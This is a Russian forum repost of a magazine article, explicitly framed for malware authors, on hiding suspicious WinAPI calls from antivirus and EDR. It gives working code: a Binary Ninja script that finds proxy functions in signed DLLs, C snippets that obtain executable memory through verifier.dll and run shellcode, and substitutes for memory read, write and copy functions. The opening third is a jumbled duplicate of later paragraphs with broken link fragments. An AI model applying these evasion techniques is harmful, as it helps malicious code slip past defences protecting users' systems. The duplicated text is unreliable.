stihl не предоставил(а) никакой дополнительной информации.
Все крутые вредоносы стараются прятать использование вызовов WinAPI, ведь наличие подозрительных функций в коде может привести к блокировке исполнения нашей программы. Существует не так много документированных способов скрыть вызовы WinAPI, однако у меня есть пара любопытных разработок, и я готов ими поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонентов Windows и даже немного затронем RPC.
Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Для просмотра ссылки Войдиили Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся, применять Для просмотра ссылки Войди или Зарегистрируйся и предотвращать Для просмотра ссылки Войди или Зарегистрируйся.
Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!
Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Для просмотра ссылки Войдиили Зарегистрируйся про шелл‑код‑раннер на чистом C#. И это возможно! Существует несколько техник, позволяющих идти обходным путем, не затрагивая «подозрительные» методы или всячески скрывая их использование.
Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.
Был такой поток управления:
malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:
malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Для просмотра ссылки Войдиили Зарегистрируйся. Однако он работает только с программами на C#.
С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Для просмотра ссылки Войдиили Зарегистрируйся. Конечно, там еще использовалась подмена оригинального метода, однако логика осталась схожей: имитация активности, происходящей из легитимного модуля.
или Зарегистрируйся.
Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().
Для просмотра ссылки Войдиили Зарегистрируйся
А так — проанализировать экспорты:
python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Для просмотра ссылки Войдиили Зарегистрируйся
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Для просмотра ссылки Войдиили Зарегистрируйся, разбор — в моей Для просмотра ссылки Войди или Зарегистрируйся. Но все равно как‑то много «если» и лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию, правда? А вот это уже бусидо!
или Зарегистрируйся. Он использует Binary Ninja для автоматизации анализа подписанных библиотек DLL. Рассмотрим его код подробнее.
Давай разберем скрипт пошагово, тут есть несколько нетривиальных моментов.
Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().
Бинарник будет представлен в виде объекта Для просмотра ссылки Войдиили Зарегистрируйся, он же bv в документации. Он предоставляет набор методов по работе с файлом, например получение списка функций.
Через BinaryView можно извлечь класс Для просмотра ссылки Войди или Зарегистрируйся, который указывает на (неожиданно!) функцию в коде.
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:
Для просмотра ссылки Войди или Зарегистрируйся «включает анализ», а Для просмотра ссылки Войди или Зарегистрируйся его осуществляет.
Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.
Для этого мы получаем LLIL (низкоуровневое представление инструкций) по адресу, следующим шагом конвертируем в HLIL и убеждаемся по наличию операнда Call, что происходит вызов функции.
Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.
С помощью этого скрипта получилось обнаружить место, в котором используется функция NtAllocateVirtualMemory() внутри verifier.dll.
Для просмотра ссылки Войдиили Зарегистрируйся
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().
Для просмотра ссылки Войдиили Зарегистрируйся
А вот и наша NtAllocateVirtualMemory()!
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Затем переводим их в опкоды, по которым будем осуществлять сканирование.
Для просмотра ссылки Войдиили Зарегистрируйся
Определяем прототип функции для вызова.
Добавляем код по скану памяти и передаем на функцию поток управления!
Полный код представлен Для просмотра ссылки Войди или Зарегистрируйся. И видим результат вызова.
Для просмотра ссылки Войдиили Зарегистрируйся
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.
или Зарегистрируйся. Однако я постараюсь описать вкратце.
При взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.
Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Для просмотра ссылки Войдиили Зарегистрируйся. Внутри нее достаточно большая вложенность других структур, манипулируя которыми мы можем передать поток управления по произвольному адресу.
Для просмотра ссылки Войдиили Зарегистрируйся
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Для просмотра ссылки Войдиили Зарегистрируйся, а также POC на Для просмотра ссылки Войди или Зарегистрируйся.
Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.
В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.
Вот так — сравнение строк через wcscmp():
А так — преобразование из нижнего регистра в верхний:
В CRT очень много функций, и практически все возможно переписать, вручную реализовав логику их работы. Больше вариантов ищи в репозиториях Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Итак, пусть у нас есть функция Для просмотра ссылки Войдиили Зарегистрируйся, которая принимает структуру Для просмотра ссылки Войди или Зарегистрируйся.
Структура CONTEXT определена в файле winnt.h.
Для просмотра ссылки Войдиили Зарегистрируйся
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».
Для просмотра ссылки Войдиили Зарегистрируйся
Получаем большой список ссылок на эту структуру из разных функций.
Для просмотра ссылки Войдиили Зарегистрируйся
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся, который поможет тебе в изучении COM.
Например, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.
Для просмотра ссылки Войдиили Зарегистрируйся
Если вызывать эту функцию в удаленном процессе через CreateRemoteThread() или NtCreateThreadEx(), то можно добиться примитива чтения данных. Автор удалил PoC и статью из своего блога, впрочем, все сохранено в Internet Archive, ссылка выше.
Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().
или Зарегистрируйся x86matthew предложил альтернативу записи в память. Она тоже основана на функциях инкремента и декремента значения по адресу. Множественными вызовами этих функций для адреса в процессе мы можем изменять значения в памяти, а значит, записывать.
или Зарегистрируйся. На сайте много интересных разработок, которые можно использовать в собственном коде. Например, мы могли бы запускать процесс не вызывая напрямую CreateProcess(), а через имитацию нажатий Win-R. Согласись, это круто!
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как ты знаешь, любой, даже самый страшный «вирус» — это обычная программа, которая использует те же механизмы и функции, что и легитимный софт. Можно сказать, идет злоупотребление функциями, доступными любому разработчику. Иногда встречается абуз недокументированных возможностей. Одним словом — хакерство!
Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Для просмотра ссылки Войди
Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!
Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Для просмотра ссылки Войди
Проксирование вызовов
Теория
У западных коллег эта техника называется Proxy Invoke. Она основана на том, что хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя» вызов. Фактически идет злоупотребление чужими обвязками над существующими методами.Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Для просмотра ссылки Войди
Для просмотра ссылки Войди
www
Интересное по теме:- Для просмотра ссылки Войди
или Зарегистрируйся - Для просмотра ссылки Войди
или Зарегистрируйся
Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.
Был такой поток управления:
malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:
malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Для просмотра ссылки Войди
С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Для просмотра ссылки Войди
Обнаружение прокси-функций
Таблица экспортов/импортов
Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том, чтобы быстро проанализировать все существующие в системе подписанные DLL и определить использование в них функций, до которых мы можем дотянуться. Варианта два.- Можем идти от таблицы импортов. Например, видим импорт ZwProtectVirtualMemory(), после чего находим место, в котором эта функция дергается, и смотрим, есть ли возможность контроля аргументов.
- Можем идти от таблицы экспортов. Например, видим экспорт функции AllocateAndProtectSomeMemory(), догадываемся о потенциально интересной функциональности и исследуем эту функцию.
Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().
Для просмотра ссылки Войди
А так — проанализировать экспорты:
python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Для просмотра ссылки Войди
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Для просмотра ссылки Войди
Бинарный анализ
Путь самурая — автоматизировать этап исследования бинарных файлов с помощью API какого‑нибудь декомпилера. Этот метод я стащил у чувака с ником Для просмотра ссылки Войди
Код:
import os
import binaryninja
from binaryninja import highlevelil
signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
with open(signed_dlls_path, "r") as f:
signed_dlls = [dll.strip() for dll in f]
total_dlls = len(signed_dlls)
with open(signed_dlls_path, "r") as f:
current_dll = 0
for signed_dll_path in f:
current_dll += 1
signed_dll_path = signed_dll_path.strip()
dll_name = signed_dll_path.split('\\')[-1]
dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
progress = f"{current_dll}/{total_dlls}"
if dll_size_mb > 15:
print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
continue
print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
continue
else:
print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()
code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
for ref in code_refs:
try:
func = binary_view.get_functions_containing(ref.address)[0]
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
if type(operand) == HighLevelILCall:
if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
hlil_call = operand
break
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars:
continue
if type(regionSize) == HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != 0x40:
continue
if type(regionSize) == HighLevelILConst:
if int(regionSize.value) <= 0x10000:
continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
except Exception as e:
print(f"[x] [{progress}] [{dll_name}] [{e}]")
Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Код:
import os
import binaryninja
from binaryninja import highlevelil
signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
with open(signed_dlls_path, "r") as f:
signed_dlls = [dll.strip() for dll in f]
total_dlls = len(signed_dlls)
Затем в цикле анализируется каждая библиотека.
with open(signed_dlls_path, "r") as f:
current_dll = 0
for signed_dll_path in f:
current_dll += 1
signed_dll_path = signed_dll_path.strip()
dll_name = signed_dll_path.split('\\')[-1]
dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
progress = f"{current_dll}/{total_dlls}"
if dll_size_mb > 15:
print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
continue
print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().
Binary Ninja и BinaryView
Здесь важно знать, что у Binary Ninja есть не только GUI, но и API, через который можно загрузить бинарный файл и провести некоторый автоматический анализ.Бинарник будет представлен в виде объекта Для просмотра ссылки Войди
Код:
>>> bv
<BinaryView: '/bin/ls', start 0x100000000, len 0x182f8>
>>> len(bv.functions)
140
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:
- Получить BinaryView.
- Обнаружить, что используется нужная нам функция.
- Определить место, из которого вызывается нужная нам функция.
- Убедиться, что мы можем контролировать аргументы, передаваемые в функции.
Код:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
continue
else:
print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
Убедившись, что метод присутствует, запускаем анализ. Метод s
Код:
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()
После того как BN провел анализ бинарного кода, можно приступать к пункту три. Обнаруживаем места, ссылающиеся на нужный нам метод, через get_code_refs().
code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются на нужный нам метод.
for ref in code_refs:
try:
func = binary_view.get_functions_containing(ref.address)[0]
Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.
Код:
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
if type(operand) == HighLevelILCall:
if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
hlil_call = operand
break
Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.
Код:
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars: # Проверка на наличие в параметрах родительской функции
continue
if type(regionSize) == HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != 0x40:
continue
if type(regionSize) == HighLevelILConst:
if int(regionSize.value) <= 0x10000:
continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
Для просмотра ссылки Войди
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().
Для просмотра ссылки Войди
А вот и наша NtAllocateVirtualMemory()!
Для просмотра ссылки Войди
Пример с DphCommitMemoryFromPageHeap
После того как мы смогли найти нужную функцию, следует добиться передачи потока управления по этому адресу. Есть два варианта:- определить смещение функции относительно базового адреса загрузки DLL в памяти;
- определить адрес целевой функции по байтовому паттерну.
Для просмотра ссылки Войди
Затем переводим их в опкоды, по которым будем осуществлять сканирование.
Для просмотра ссылки Войди
Определяем прототип функции для вызова.
Код:
typedef int (WINAPI* DphCommitMemoryFromPageHeapFunc)(
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG Protect
);
Код:
int main()
{
HMODULE hModule = NULL;
hModule = LoadLibraryA("verifier.dll");
DphCommitMemoryFromPageHeapFunc DphCommitMemoryFromPageHeapWPtr = (DphCommitMemoryFromPageHeapFunc)(FindFunction(GetCurrentProcess(), GetFunctionBytes(), (uintptr_t)hModule));
SIZE_T size = 0xABCD;
LPVOID addr = nullptr;
NTSTATUS err = DphCommitMemoryFromPageHeapWPtr(&addr, &size, PAGE_EXECUTE);
std::wcout << err << std::endl;
return 0;
}
Для просмотра ссылки Войди
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.
Код:
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
ULONG_PTR *RegionSize,
ULONG AllocationType,
ULONG Protect
);
DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;
HMODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");
AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t)((char*)hVerifierMod + 0x25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);
(*(int(*)()) virtualMemory)();
Через RPC
Скажу честно, проксирование через вызовы — достаточно сложный метод, объяснение которого не уместится в одну статью. По этому способу был даже представлен Для просмотра ссылки ВойдиПри взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.
Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Для просмотра ссылки Войди
Для просмотра ссылки Войди
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Для просмотра ссылки Войди
Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.
Используем альтернативные функции
Теория
Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернативными функциями мы будем пытаться найти обходной путь до нужных нам возможностей. Например, вместо использования функции memcpy() собственноручно писать логику метода и копировать данные с помощью указателей, ручками. Или как вариант — обнаружить и дергать чуть более низкоуровневый, потенциально нехукнутый аналог.В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.
Замена CRT
Проще всего начать с замены CRT-функций. Например, так можно заменить функцию memcpy():
Код:
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
for (volatile int i = 0; i < Size; i++) {
((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
}
return Destination;
}
Код:
int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
while (*str1 == *str2 && *str1 != L'\0') {
str1++;
str2++;
}
return *str1 - *str2;
}
Код:
PCHAR CaplockStringA(_In_ PCHAR Ptr)
{
PCHAR sv = Ptr;
while (*sv != '\0')
{
if (*sv >= 'a' && *sv <= 'z')
*sv = *sv - ('a' - 'A');
sv++;
}
return Ptr;
}
PWCHAR CaplockStringW(_In_ PWCHAR Ptr)
{
PWCHAR sv = Ptr;
while (*sv != '\0')
{
if (*sv >= 'a' && *sv <= 'z')
*sv = *sv - ('a' - 'A');
sv++;
}
return Ptr;
}
Через ссылки на структуры Windows
Обычно в Windows используются одни и те же структуры в функциях со схожей логикой работы. Таким образом, у нас появляется возможность искать похожие функции. Проще всего искать через IDE. Для этого нужно будет найти заголовочный файл, в котором есть интересующая нас структура.info
Искать прокси‑функции можно тем же методом, поэтому не будем останавливаться на них отдельно.Итак, пусть у нас есть функция Для просмотра ссылки Войди
Структура CONTEXT определена в файле winnt.h.
Для просмотра ссылки Войди
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».
Для просмотра ссылки Войди
Получаем большой список ссылок на эту структуру из разных функций.
Для просмотра ссылки Войди
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!
Для просмотра ссылки Войди
Изучаем COM
Подсистема COM предоставляет нам огромное количество всяких фич. Нужно лишь изучить ее и понять ее особенности: что такое класс COM, как они регистрируются в системе, как работают интерфейсы и методы и так далее. Проштудировав это, ты сможешь обнаружить множество интересных вещей!www
У меня есть небольшой репозиторий Для просмотра ссылки ВойдиНапример, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.
Для просмотра ссылки Войди
Замена ReadProcessMemory()
Наконец, давай покажу еще пару интересных «обходных путей» для вызова функций. На текущий момент известно несколько способов замены методов ReadProcessMemory():- через злоупотребление уязвимыми драйверами, например Для просмотра ссылки Войди
или Зарегистрируйся; - через Для просмотра ссылки Войди
или Зарегистрируйся.
Код:
DWORD __stdcall RtlFirstEntrySList(DWORD *pValue)
{
return *pValue;
}
Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().
Код:
public static IntPtr ReadMemory(IntPtr addr)
{
var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = 0; i < 200; i += IntPtr.Size)
{
Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
}
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}
Замена WriteProcessMemory()
В той же Для просмотра ссылки Войди
Код:
LONG __stdcall InterlockedIncrement(LONG *Addend);
LONG __stdcall InterlockedDecrement(LONG *Addend);